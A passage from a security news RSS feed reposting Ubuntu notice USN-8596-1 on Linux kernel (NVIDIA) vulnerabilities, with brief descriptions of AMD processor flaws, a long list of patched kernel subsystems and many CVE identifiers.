CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058,
CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085,
CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091,
CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252,
CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343,
CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357,
CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8596-1: Linux kernel (NVIDIA) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3688351/unix-server/usn-8596-1-linux-kernel-nvidia-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688351/unix-server/usn-8596-1-linux-kernel-nvidia-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:20:28 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23226, CVE-2026-23227, CVE-2026-23244, CVE-2026-23245,
CVE-2026-23246, CVE-2026-23253, CVE-2026-23255, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23276, CVE-2026-23277, CVE-2026-23279,
CVE-2026-23281, CVE-2026-23284, CVE-2026-23285, CVE-2026-23286,
CVE-2026-23287, CVE-2026-23289, CVE-2026-23290, CVE-2026-23291,
CVE-2026-23292, CVE-2026-23293, CVE-2026-23296, CVE-2026-23298,
CVE-2026-23300, CVE-2026-23302, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23306, CVE-2026-23307, CVE-2026-23308, CVE-2026-23310,
CVE-2026-23312, CVE-2026-23313, CVE-2026-23315, CVE-2026-23317,
CVE-2026-23318, CVE-2026-23319, CVE-2026-23321, CVE-2026-23324,
CVE-2026-23325, CVE-2026-23330, CVE-2026-23334, CVE-2026-23335,
CVE-2026-23336, CVE-2026-23339, CVE-2026-23340, CVE-2026-23343,
CVE-2026-23347, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23360, CVE-2026-23361, CVE-2026-23362,
CVE-2026-23363, CVE-2026-23364, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23369, CVE-2026-23370, CVE-2026-23372,
CVE-2026-23374, CVE-2026-23375, CVE-2026-23378, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23383, CVE-2026-23386,
CVE-2026-23387, CVE-2026-23388, CVE-2026-23389, CVE-2026-23391,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413,
CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420,
CVE-2026-23426, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439,
CVE-2026-23440, CVE-2026-23441, CVE-2026-23442, CVE-2026-23444,
CVE-2026-23446, CVE-2026-23447, CVE-2026-23448, CVE-2026-23449,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23456, CVE-2026-23457,
CVE-2026-23458, CVE-2026-23460, CVE-2026-23461, CVE-2026-23462,
CVE-2026-23463, CVE-2026-23464, CVE-2026-23465, CVE-2026-23468,
CVE-2026-23470, CVE-2026-23474, CVE-2026-23475, CVE-2026-31389,
CVE-2026-31391, CVE-2026-31392, CVE-2026-31393, CVE-2026-31394,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31403,
CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409,
CVE-2026-31412, CVE-2026-31413, CVE-2026-31414, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422,
CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31426,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31429, CVE-2026-31430,
CVE-2026-31432, CVE-2026-31433, CVE-2026-31434, CVE-2026-31438,
CVE-2026-31439, CVE-2026-31440, CVE-2026-31441, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31480, CVE-2026-31482,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488,
CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499,
CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505,
CVE-2026-31506, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610,
CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642,
CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660,
CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665,
CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058,
CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085,
CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091,
CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252,
CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343,
CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357,
CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
